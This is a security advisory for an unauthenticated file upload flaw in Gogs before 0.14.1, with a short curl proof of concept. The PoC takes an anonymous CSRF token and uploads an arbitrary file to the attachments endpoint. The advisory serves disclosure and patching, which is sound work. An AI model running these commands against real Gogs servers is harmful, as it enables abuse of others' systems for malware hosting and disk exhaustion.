| Package | Affected versions | Patched versions |
|---|---|---|
| gogs.io/gogs | < 0.14.1all versions | 0.14.1 |
| gogs | < 0.14.1 | 0.14.1 |
Security Advisory:Unauthenticated File Upload in Gogs Vulnerability Type: Unauthenticated File Upload Date: Aug 5, 2025 Discoverer: OpenAI Security Research
Gogs exposes unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance.
The web.go router exposes the following endpoints under the ignSignIn route group:
m.Post("/issues/attachments", repo.UploadIssueAttachment)
m.Post("/releases/attachments", repo.UploadReleaseAttachment)
These endpoints are accessible by unauthenticated users if the configuration variable RequireSigninView is false (default). This allows arbitrary file uploads to data/attachments, returning a UUID in response.
While CSRF protection is enabled, attackers can obtain a valid token anonymously from the site and use it in the upload request without authentication.
Anonymous file upload using only default configuration and a CSRF token obtained from the homepage.
# Run Gogs docker
docker start gogs
# Software will be run on http://localhost:10880/. Finish the setup with local Sqlite database
# Get CSRF cookie into a jar
curl -sS -c cookies.txt http://localhost:10880/ -o /dev/null
# Extract the _csrf value from the jar
CSRF="$(awk '$6=="_csrf"{print $7}' cookies.txt | tail -n1)"
# Upload the file, sending cookie jar + header
curl -sS \
-b cookies.txt -c cookies.txt \
-H "X-CSRF-Token: $CSRF" \
-H "Referer: http://localhost:10880/" \
-F "[email protected]" \
http://localhost:10880/issues/attachments
=> {"uuid":"<UUID>"}
The attachment will be available at: http://localhost:10880/attachments/<uuid>
Unrestricted File Upload: Attackers can store arbitrary content on the server. Denial-of-Service: Repeated uploads can exhaust disk space. Gogs may inadvertently serve attacker-hosted payloads under its domain.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeThis unauthenticated upload vector effectively turns any Gogs instance into a file hosting platform open to the public. This is especially dangerous for production or Internet-exposed installations. The combination of no login requirement, wildcard MIME support, and unrestricted access to attachments enables both resource abuse and potential malware distribution.